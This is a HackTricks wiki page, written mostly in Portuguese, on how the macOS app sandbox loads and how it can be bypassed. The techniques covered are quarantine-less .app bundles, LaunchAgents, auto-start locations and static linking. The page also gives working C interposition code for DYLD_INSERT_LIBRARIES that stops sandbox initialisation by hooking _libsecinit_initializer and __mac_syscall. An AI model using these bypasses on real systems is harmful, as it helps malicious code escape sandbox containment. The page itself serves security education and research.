mirror of https://github.com/carlospolop/hacktricks synced 2024-12-21 02:23:30 +00:00

History

Translator 8be81dd54d Translated ['linux-hardening/privilege-escalation/docker-security/README		2024-12-14 19:13:28 +00:00
..
macos-office-sandbox-bypasses.md	Recreating repository history for branch pt	2024-12-12 13:56:11 +01:00
README.md	Translated ['linux-hardening/privilege-escalation/docker-security/README	2024-12-14 19:13:28 +00:00

README.md

macOS Sandbox Debug & Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %} {% endhint %}

Sandbox loading process

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar como o sandbox será carregado quando um aplicativo com a permissão com.apple.security.app-sandbox é executado.

O compilador irá vincular /usr/lib/libSystem.B.dylib ao binário.

Então, libSystem.B chamará várias outras funções até que o xpc_pipe_routine envie as permissões do aplicativo para securityd. O securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.
Finalmente, o sandbox será ativado com uma chamada para __sandbox_ms que chamará __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Arquivos criados por processos em sandbox recebem o atributo de quarentena para evitar a fuga do sandbox. No entanto, se você conseguir criar uma pasta .app sem o atributo de quarentena dentro de um aplicativo em sandbox, você poderá fazer o binário do pacote do aplicativo apontar para /bin/bash e adicionar algumas variáveis de ambiente no plist para abusar do open para iniciar o novo aplicativo sem sandbox.

Isso foi o que foi feito em CVE-2023-32364.

{% hint style="danger" %} Portanto, no momento, se você for capaz de criar uma pasta com um nome terminando em .app sem um atributo de quarentena, você pode escapar do sandbox porque o macOS apenas verifica o atributo de quarentena na pasta .app e no executável principal (e nós apontaremos o executável principal para /bin/bash).

Observe que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag de autorizado a executar ativada), você também poderia abusar disso... exceto que agora você não pode escrever dentro de pacotes .app a menos que tenha algumas permissões TCC privilegiadas (que você não terá dentro de um sandbox alto). {% endhint %}

Abusing Open functionality

Nos últimos exemplos de bypass do sandbox do Word pode-se apreciar como a funcionalidade cli open poderia ser abusada para contornar o sandbox.

{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}

Launch Agents/Daemons

Mesmo que um aplicativo seja destinado a ser sandboxed (com.apple.security.app-sandbox), é possível contornar o sandbox se ele for executado a partir de um LaunchAgent (~/Library/LaunchAgents), por exemplo.
Como explicado neste post, se você quiser obter persistência com um aplicativo que está em sandbox, você poderia fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.

Abusing Auto Start Locations

Se um processo em sandbox puder escrever em um lugar onde mais tarde um aplicativo sem sandbox vai executar o binário, ele poderá escapar apenas colocando lá o binário. Um bom exemplo desse tipo de locais são ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Para isso, você pode precisar até de 2 etapas: Fazer um processo com um sandbox mais permissivo (file-read*, file-write*) executar seu código que realmente escreverá em um lugar onde será executado sem sandbox.

Verifique esta página sobre locais de início automático:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Abusing other processes

Se a partir do processo em sandbox você conseguir comprometer outros processos que estão rodando em sandboxes menos restritivas (ou nenhuma), você poderá escapar para os sandboxes deles:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Static Compiling & Dynamically linking

Esta pesquisa descobriu 2 maneiras de contornar o Sandbox. Porque o sandbox é aplicado a partir do userland quando a biblioteca libSystem é carregada. Se um binário puder evitar carregá-la, ele nunca será sandboxed:

Se o binário for completamente compilado estaticamente, ele poderá evitar carregar essa biblioteca.
Se o binário não precisar carregar nenhuma biblioteca (porque o linker também está em libSystem), ele não precisará carregar libSystem.

Shellcodes

Observe que mesmo shellcodes em ARM64 precisam ser vinculados em libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Note que mesmo que algumas ações possam ser permitidas pelo sandbox se um aplicativo tiver uma entitlement específica, como em:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Para mais informações sobre Interposting, consulte:

{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interposte `_libsecinit_initializer` para prevenir o sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpor `__mac_syscall` para prevenir o Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Depurar e contornar o Sandbox com lldb

Vamos compilar um aplicativo que deve ser isolado:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

{% endtab %}

{% tab title="entitlements.xml" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% endtab %}

{% tab title="Info.plist" %}

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Então compile o aplicativo:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand